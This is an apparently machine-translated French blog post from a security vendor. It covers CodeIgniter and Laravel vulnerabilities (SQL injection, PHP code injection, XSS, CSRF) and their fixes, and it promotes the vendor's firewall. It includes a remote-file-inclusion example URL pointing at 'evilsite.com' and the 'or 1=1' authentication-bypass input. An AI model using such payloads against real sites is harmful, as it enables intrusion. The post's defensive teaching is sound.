911 Hack Removal

Site Web Codeigniter ou Laravel piraté? Vulnérabilités courantes de Codeigniter et Laravel avec correctifs

Updated on: October 4, 2021

Site Web Codeigniter ou Laravel piraté? Vulnérabilités courantes de Codeigniter et Laravel avec correctifs

Laravel et Codeigniter sont tous deux des frameworks PHP populaires utilisés pour créer des sites Web. Leur popularité peut également être accréditée par la nature open source des deux frameworks. Cependant, les utilisateurs doivent comprendre que le déploiement de sites utilisant ces frameworks ne les rend pas sûrs. Ce sont les pratiques de développement sécurisées qui comptent. L’injection SQL dans Codeigniter et l’injection SQL dans Laravel sont les deux sujets de sécurité les plus courants sur les forums d’aide. En dehors de SQLi, les pratiques de développement dangereuses font également les sites vulnérables aux XSS, CSRF, attaques RFI etc .

Site Web Codeigniter et Laravel piraté: exemples

Des attaques comme l’injection SQL dans Codeigniter ou Laravel peuvent compromettre le site Web. Ces attaques sont assez courantes et répandues. Par conséquent, un grand nombre d’utilisateurs souffrant d’attaques similaires peuvent être trouvés demandant de l’aide sur le forum de la communauté Laravel ou le forum de la communauté Codeigniter . Certains de ces exemples sont donnés ci-dessous.

Codeigniter et laravel d'injection SQL
Codeigniter d'injection SQL

Les symptômes de Codeigniter ou Laravel Hack

  • Des pages de phishing Laravel ou Codeigniter conçues pour voler des informations sensibles apparaissent sur le site Web.
  • Les utilisateurs se plaignent d’être redirigés vers des sites malveillants.
  • Le contenu de Gibberish apparaît sur le site de Laravel ou Codeigniter en raison du hachage de mots-clés japonais ou du hack Pharma, etc.
  • Le site Web de Laravel ou Codeigniter devient très lent et affiche des messages d’erreur.
  • Lors de l’utilisation d’un hébergement tiers, ” Votre compte a été suspendu !” apparaît.
  • Le site Laravel ou Codeigniter est mis sur liste noire par les moteurs de recherche .
  • Les journaux d’erreurs montrent certaines attaques comme l’injection SQL dans Codeigniter sur le site.
  • Les journaux affichent la connexion au site Web à partir d’adresses IP distantes.
  • De nouveaux administrateurs voyous apparaissent dans la base de données de connexion.

Causes fondamentales de Codeigniter ou Laravel Hack

1) Codeigniter ou Laravel Hack: attaques par injection

a) Injection SQL dans Codeigniter ou Laravel

L’injection SQL dans Codeigniter est une attaque très courante qui est largement répandue sur le Web. Comme son nom l’indique, l’attaque cible la base de données du serveur. Exploitant l’injection SQL dans Codeigniter, l’attaquant peut:

  • Récupérez les données de la base de données.
  • Modifier le contenu de la base de données (comprend la suppression de la base de données entière!)
  • Dans certains cas, obtenir un shell inversé.
  • Authentification de contournement en utilisant une entrée comme ou 1 = 1.

b) Injection de code PHP dans Codeigniter / Laravel

L’injection de code PHP est un autre type de vulnérabilité courante qui permet aux attaquants d’exécuter du code sur le site Web Laravel / Codeigniter. Cependant, elle diffère de l’injection de commandes dans le sens où l’attaquant ne peut exécuter que les commandes de ce langage particulier. L’injection de commandes permet à un attaquant d’exécuter des commandes via un shell inversé. Par exemple, le paramètre vulnérable peut être fourni avec un lien vers un fichier malveillant qui contient du code PHP à exécuter, à savoir http://testsite.com/?page=http://evilsite.com/evilcode.php

Ce fichier peut contenir des fonctions comme phpinfo () qui peuvent être utilisées pour obtenir des informations.

2) Codeigniter ou Laravel Hack: Cross-Site Scripting dans Codeigniter / Laravel

La vulnérabilité XSS se produit dans les sites Web Laravel / Codeigniter en raison du manque de nettoyage des entrées. Les deux cadres ont des fonctions de sécurité spécialement conçues pour éviter ces attaques. Exploitant une attaque XSS, les attaquants peuvent:

  • Les utilisateurs de phishing pour voler des cookies et autres données de session sensibles.
  • Redirigez les utilisateurs vers un site malveillant.
  • Utilisé pour contourner la stratégie de même origine.

3) Laravel ou Codeigniter Hack: falsification de requête intersite dans Codeigniter / Laravel

Cette attaque vise à inciter les utilisateurs à effectuer des actions indésirables. Cependant, ce type d’attaque ne peut être utilisé que pour manipuler les données (suppression de formulaires, etc.) et non pour les voler ou les lire. Dans le pire des cas, si la victime est l’administrateur, l’application entière peut être détruite. Cette attaque utilise des astuces d’ingénierie sociale pour inciter les victimes à cliquer sur un lien qui exécute des commandes comme la suppression d’un compte en arrière-plan.

Site PHP piraté

Codeigniter ou site Laravel piraté?. Envoyez-nous un message sur le widget de chat et nous serons heureux de vous aider à résoudre ce problème. il. Correction de mon site Web Laravel / Codeigniter piraté .

4) Protéger votre site Web Codeigniter / Laravel

Codeigniter ou Laravel Hack: éviter l’injection SQL dans Codeigniter

Codeigniter est livré avec des tonnes de fonctionnalités de sécurité. Certains d’entre eux incluent des fonctions et des bibliothèques pour éviter l’injection SQL dans Codeigniter. Dans cet article, j’expliquerai 3 méthodes principales pour accomplir la tâche une par une.

Codeigniter ou Laravel Hack: échapper aux requêtes dans Codeigniter

Échapper les données avant de les soumettre à l’application PHP les désinfecterait. C’est donc une pratique sûre qui doit être suivie régulièrement. Même les requêtes d’échappement peuvent être effectuées via trois méthodes:

  1. $ this-> db-> escape (): détermine le type de données avant de s’échapper
  2. $ this-> db-> escape_str (): ne détermine pas le type de données, l’échappe simplement.
  3. $ this-> db-> escape_like_str (): Peut être utilisé avec des conditions.

Pour clarifier davantage, consultez l’extrait de code ci-dessous.

<? php
$ email = $ this-> input-> post (’email’);
$ query = ‘SELECT * FROM subscribers_tbl WHERE user_name =’. $ this-> db-> escape ($ email);
$ this-> db-> query ($ query);
?>

Dans ce code, la fonction $ this-> db-> escape () détermine d’abord le type de données afin d’échapper uniquement les données de chaîne. De plus, il ajoute automatiquement les guillemets simples autour des données d’entrée. Cela empêche l’injection SQL dans Codeigniter.

Codeigniter ou Laravel Hack: requêtes de liaison dans Codeigniter

Les requêtes de liaison peuvent également simplifier le code en plus de nettoyer les entrées du site Web Codeigniter. Cette méthode permet au système de poser des requêtes, réduisant ainsi la complexité pour le développeur. Par exemple, regardez l’extrait de code ci-dessous.

<? php $ sql = “SELECT * FROM subscribers_tbl WHERE status =? AND email =?”; $ this-> db-> query ($ sql, array (‘active’, ‘[email protected]’));?>

Ici, vous pouvez remarquer des points d’interrogation dans la première ligne au lieu de valeurs. En raison de la liaison de requête, ces points d’interrogation sont remplacés à partir des valeurs du tableau sur la deuxième ligne. Dans l’exemple précédent, nous avons vu une requête manuelle s’échapper, mais ici, cette méthode l’accomplit automatiquement. De ce fait l’arrêt de l’injection SQL dans Codeigniter.

Codeigniter ou Laravel Hack: enregistrement de classe active dans Codeigniter

La fonction d’enregistrements actifs de Codeigniter nous permet d’effectuer des opérations de base de données avec un minimum de lignes de code ou de scripts. Puisqu’il s’agit d’une fonction du système lui-même, l’échappement de la requête se fait automatiquement. Par exemple, toutes les données de la table peuvent être récupérées par une simple requête:

$ query = $ this-> db-> get (‘mytable’);

Codeigniter ou Laravel Hack: éviter l’injection SQL dans Laravel

Le mappage relationnel-objet de Laravel utilise la liaison de données d’objet PHP pour désinfecter les entrées utilisateur, ce qui empêche à son tour l’injection SQL Laravel. La liaison de paramètres ajoute également des guillemets automatiquement, empêchant ainsi une entrée dangereuse comme ou 1 = 1 de contourner l’authentification.

$ results = DB :: select (‘select * from users where id =: id’, [‘id’ => 1]);

Voici une implémentation d’une requête de liaison nommée dans Laravel.

Codeigniter ou Laravel Hack: éviter les scripts intersites dans Codeigniter

Pour éviter d’éventuelles attaques XSS, Codeigniter est livré avec un filtre XSS pré-construit. Dans le cas où ce filtre rencontre une demande malveillante, il la convertit en son entité de caractère, protégeant ainsi l’application. Ce filtre est accessible via la méthode xss_clean () :

$ data = $ this-> security-> xss_clean ($ data);

Cependant, les attaquants peuvent parfois injecter du code malveillant dans les fichiers image. Pour éviter de telles attaques, la sécurité des fichiers téléchargés peut également être vérifiée. Par exemple, regardez le code donné ci-dessous.

if ($ this-> security-> xss_clean ($ file, TRUE) === FALSE)

{

// le fichier a échoué au test XSS

}

Ce code renverra une valeur booléenne True si l’image est sûre et vice versa. Cependant, il convient de noter ici qu’il est conseillé d’utiliser la méthode html_escape () si vous souhaitez filtrer les valeurs d’attribut HTML.

Codeigniter ou Laravel Hack: éviter les scripts Cross Site Laravel

En utilisant une chaîne d’échappement, les attaques XSS peuvent être évitées sur les sites Web de Laravel. Les chaînes d’échappement empêcheront la mise en œuvre d’une entrée non autorisée. Cependant, il est à noter ici que dans les versions Laravel> 5.1, cette fonctionnalité est activée par défaut. Par conséquent, lorsque l’entrée comme ceci: <div> {{$ task-> names}} </div> est fournie aux versions de Laravel au-dessus de 5.1, l’application ne sera pas vulnérable en raison de l’échappement automatique des requêtes. De plus, la limitation de la longueur des entrées fournies par l’utilisateur peut également empêcher certains types d’attaques XSS et SQLi. Cela peut être fait via le code HTML donné ci-dessous.

<input type = “text” name = “task” maxlength = “10”>

La même chose peut être implémentée via une fonction JS. De plus, la syntaxe {% raw%} {{}} {% endraw%} dans Laravel peut par défaut échapper à toutes les entités HTML malveillantes transmises. De plus, certaines bibliothèques sont spécialement conçues pour cette tâche et pourraient être utilisées pour empêcher Laravel XSS. Si vous utilisez un moteur de modèle comme Blade, il utilisera automatiquement l’échappement pour empêcher de telles attaques.

Codeigniter ou Laravel Hack: empêcher les attaques CSRF dans Codeigniter

La protection CSRF peut être activée dans Codeigniter en modifiant le fichier application / config / config.php. Ajoutez simplement le code suivant au fichier:

$ config [‘csrf_protection’] = TRUE;

Pour les utilisateurs qui utilisent Form Helper, la fonction form_open () peut par défaut insérer un champ de jeton CSRF masqué dans les formulaires. L’autre façon de mettre en œuvre la protection CSRF consiste à utiliser get_csrf_token_name () et get_csrf_hash () . Pour référence, regardez les deux extraits de code ci-dessous d’un formulaire et d’une implémentation côté serveur.

$ csrf = tableau (

‘name’ => $ this-> security-> get_csrf_token_name (),

‘hash’ => $ this-> security-> get_csrf_hash ());

————————————————– ——————

<input type = “hidden” name = “<? = $ csrf [‘name’];?>” value = “<? = $ csrf [‘hash’];?>” />

La régénération des jetons est également une autre pratique sûre pour empêcher les attaques Codeigniter CSRF. Cependant, la régénération des jetons peut être problématique car les utilisateurs peuvent avoir besoin d’une nouvelle validation après avoir navigué vers d’autres onglets. La régénération de jeton peut être effectuée par le paramètre de configuration suivant:

$ config [‘csrf_regenerate’] = TRUE;

Codeigniter ou Laravel Hack: prévenir les attaques CSRF dans Laravel

Les jetons sont implémentés sous des formes Laravel pour se protéger des attaques CSRF. Ces jetons sont ensuite appelés à l’aide d’un appel AJAX qui peut être trouvé intégré dans chaque formulaire. Les données du jeton de demande sont mises en correspondance avec celles stockées sur le serveur pour la session de l’utilisateur vérifiant les anomalies. Les jetons CSRF peuvent être transmis aux formulaires à l’aide du code suivant ( implémentation des modèles de lame ):

<form name = “CSRF Implementation”>

{!! csrf_field () !!}

<! – D’autres entrées peuvent venir ici ->

</form>

Cependant, le jeton CSRF peut être ajouté par défaut lors de l’utilisation du package LaravelCollective / HTML.

Codeigniter ou Laravel Hack: Bloquer les rapports d’erreur

Les erreurs de fichier sont utiles dans l’environnement de développement. Cependant, sur le Web, les erreurs de fichier Codeigniter peuvent divulguer des informations potentiellement sensibles aux attaquants. Par conséquent, il est recommandé de désactiver le rapport d’erreurs.

Erreurs PHP

Pour désactiver le rapport d’erreurs PHP, utilisez le fichier index.php. Passez simplement zéro comme argument à la fonction error_reporting (). Regardez l’exemple donné ci-dessous pour référence.

error_reporting (0);

Cependant, pour CodeIgniter version 2.0.1 et supérieure, la constante d’environnement dans le fichier index.php peut être définie sur «production» afin de désactiver les sorties d’erreur PHP.

Erreurs de base de données

Les erreurs de base de données peuvent être désactivées en modifiant le fichier application / config / database.php. Définissez simplement l’option db_debug sur FALSE. Regardez l’exemple ci-dessous pour référence:

$ db [‘default’] [‘db_debug’] = FALSE;

Journalisation des erreurs

Un moyen intelligent serait de transférer les erreurs survenues dans les fichiers journaux, ce qui les empêcherait de s’afficher. L’option seuil de journalisation du fichier /config/config.php peut être définie sur 1 à cet effet. Regardez l’exemple donné ci-dessous.

$ config [‘log_threshold’] = 1;

Utiliser un pare-feu d’application Web pour Laravel ou Codeigniter

Même les experts peuvent manquer certains paramètres qui pourraient rendre le site Laravel / Codeigniter vulnérable. De plus, les attaquants trouvent constamment de nouvelles façons de compromettre votre site. Par conséquent, une autre pratique sécurisée consiste à utiliser un parefeu ou une solution de sécurité quelconque. Astra est une telle solution de sécurité conçue pour répondre à vos exigences flexibles. Payez uniquement pour ce que vous utilisez. Astra est une solution de sécurité prête à l’emploi avec des tarifs à partir de 9 $ par mois. Envoyez-nous un message et rapprochez-vous de la sécurisation de votre code PHP. Obtenez une démo maintenant!

Problèmes de sécurité PHP et étapes de prévention

Astra fournit un audit de sécurité complet pour votre site Web Laravel ou Codeigniter avec plus de 80 tests actifs, une bonne combinaison de tests manuels et automatisés.

Ankit Pahuja

B2B cybersecurity marketing lead with years of experience in SEO, performance marketing, email marketing, lead generation, web analytics & marketing automation. Ankit is an avid speaker and has delivered various talks in top companies, early-age startups, and online events.
Subscribe
Notify of
guest

This site uses Akismet to reduce spam. Learn how your comment data is processed.

0 Comments
Inline Feedbacks
View all comments

Psst! Hi there. We’re Astra.

We make security simple and hassle-free for thousands
of websites and businesses worldwide.

Our suite of security products include a vulnerability scanner, firewall, malware scanner and pentests to protect your site from the evil forces on the internet, even when you sleep.

earth spiders cards bugs spiders

Made with ❤️ in USA France India Germany